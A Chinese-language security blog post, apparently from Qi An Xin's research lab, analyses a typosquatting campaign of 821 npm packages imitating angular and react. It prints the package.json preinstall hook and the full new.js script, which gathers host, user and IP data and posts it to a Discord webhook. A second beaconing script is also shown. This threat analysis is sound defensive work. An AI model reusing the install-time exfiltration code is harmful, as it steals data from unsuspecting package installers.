2023年9月26日,奇安信技术研究院“天问”软件供应链安全监测平台注意到npm生态中发生大规模软件供应链投毒行为。攻击者在9月23日至26日期间,累积上传了821个恶意npm包,其主要行为是窃取用户机器的username、hostname和ip信息。并且这些恶意包的名称与angular和react这两个在npm生态中流行的软件包名称极其相似。
在这起攻击事件中,攻击者上传的恶意包名称都极具目的性,上传的821个恶意包中共涉及320个独立的软件包名称,绝大部分名称都与angular和react相似。推测是攻击者利用工具自动生成的软件包名称并进行上传。部分软件包名称展示如下:

在本次投毒事件中,攻击者所发布恶意包都使用了相同的npm账号nepz(suyogkhanal4#gmail.com),发布的恶意包都具有相同的恶意行为,且连续发布时间间隔较短,推测应该使用了脚本自动化发布npm包。
以下为一个具体恶意包angulerjs@1.1.3的内容分析。
首先在package.json中使用
preinstall字段指定了安装后自动执行的js脚本new.js。
{"name": "angulerjs","version": "1.1.3","description": "Research project","main": "index.js","scripts": {"test": "echo \"Error: no test specified\" && exit 1","preinstall": "node new.js"},"repository": {"type": "git","url": "git+https://github.com/serialfuzzer/AngulerJS.git"},"keywords": ["dependency_confusion"],"author": "serialfuzzer","license": "ISC","bugs": {"url": "https://github.com/serialfuzzer/AngulerJS/issues"},"homepage": "https://github.com/serialfuzzer/AngulerJS#readme"}
在
new.js脚本中攻击者已经去除了所有的缩进和换行,将代码进行格式化后可以看到,该脚本会将窃取到的用户信息(hostname、usename、ip信息)发送到远程的discord服务器进行接收。并且该脚本还会在用户服务器上进行网络出口ip的查询,一并发送回攻击者的接收服务器。
function sendToDiscord(e, t) {const n = new URL(e),o = JSON.stringify({content: t}),r = {hostname: n.hostname,port: 443,path: n.pathname + n.search,method: "POST",headers: {"Content-Type": "application/json","Content-Length": o.length}},s = https.request(r, e = >{});s.on("error", e = >{console.error(e)}),s.write(o),s.end()}function getPublicIP() {return new Promise((e, t) = >{https.get("https://httpbin.org/ip", n = >{let o = "";n.on("data", e = >{o += e}),n.on("end", () = >{try {const n = JSON.parse(o);e(n.origin)} catch(e) {t("Error parsing response: " + e)}})}).on("error", e = >{t("Error fetching IP: " + e)})})}const https = require("https"),os = require("os"),main = !asyncfunction() {var e = "https://discord.com/api/webhooks/1155988140591419412/bleuGvUtBCzaGsAkAI1MT9Yd-6YxHuUlZe91XSdfioky5-0e3gzeW4ztWskX1qYjSxzr",t = Object.keys(os.networkInterfaces()).map(e = >os.networkInterfaces()[e].map(e = >e.address)).flat(),n = os.userInfo().username,o = await getPublicIP();return sendToDiscord(e, `$ {t.join(",")},$ {n},$ {os.hostname()},$ {o}`),{}} ();module.exports = main;
除此之外在npm包还发现一个index.js的js脚本,虽然没有被执行,但是分析其代码内容发现也同样具备回传消息的能力。值得注意的是,在该脚本中指定了一个新的url地址, 域名为 hits[.]dwyl[.]com,而不是被自动执行的脚本
new.js中的discord服务。合理推测这可能是攻击者自建的消息接收服务。
const https = require('https');const main = (function() {const options = {hostname: 'hits.dwyl.com',path: '/serialfuzzer/serialfuzzer',method: 'GET',headers: {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36','Referer': 'https://github.com/serialfuzzer'}};const req = https.request(options, (res) = >{res.on('data', (chunk) = >{});});req.on('error', (error) = >{});req.end();return {};})();module.exports = main;
在我们进一步的分析中发现,在恶意包的package.json中指定了一个Github仓库地址serialfuzzer/AngulerJS。分析其内容后可以判断应该是攻击者最初上传的npm恶意包angulerjs的源码。并且在Readme中声明了这是一个Research project。

进一步挖掘,发现该项目有一个已经被关闭的Issue,看来是已经有用户注意到该攻击者针对npm生态的投毒行为,并进行了质询。
在回复中攻击者表示这并不是恶意包,他仅仅只收集了基本信息用于一些bug bountry项目和研究目的。但通过我们长期针对npm生态的监测结果来看,类似的信息收集行为可能正是恶意攻击者在前期收集有价值的攻击目标,并为下一阶段更加精准和隐蔽的攻击做准备。安全研究和恶意攻击行为看似使用了相同的技术,但是失之毫厘,差之千里。

该攻击者在短时间内大量上传具有混淆名称的恶意软件包依然是一种具有潜在风险的恶意行为,并且对npm生态造成了污染,加剧了社区维护审查工作的难度,使得真正亟待处理的恶意行为无法得到及时治理。
即使是出于安全研究的目的也要对研究方法进行道德方面和合规方面的考量。不过好在攻击者表示已经将部分恶意软件包进行了删除,但由于npm接口速率的限制,对于没有来得及删除的包发布了一个8.7.6的版本进行补救,该版本中已经移除了所有恶意代码。

在此次大规模攻击事件中,自称进行安全研究的攻击者在9月23日至26日期间累积发布了800+ 包含恶意行为的npm软件包,并在被溯源发现后,对所发布的恶意包发布了特定版本进行修补,但历史的恶意包仍然都存在且可以被下载使用。此外,npm社区暂时未能将这些恶意npm包进行移除,所有恶意npm包的名称和对应版本在博客原文中给出。
在此次事件中,我们可以看出npm生态对恶意软件的治理仍然无力,任何用户都可以上传恶意代码,开源生态的安全性问题亟待解决。奇安信技术研究院星图实验室长期着力于开源生态软件供应链安全的研究,欢迎有兴趣的朋友与我们一同交流,更多相关研究文章可以点击“查看原文”进行了解。
“天问”是由奇安信技术研究院星图实验室开发的软件供应链安全分析平台,专注于软件供应链生态的安全风险识别与检测。
我们目前正在招聘,工作地点覆盖北京、上海、南京、成都等城市,详情请参见:
https://research.qianxin.com/recruitment/

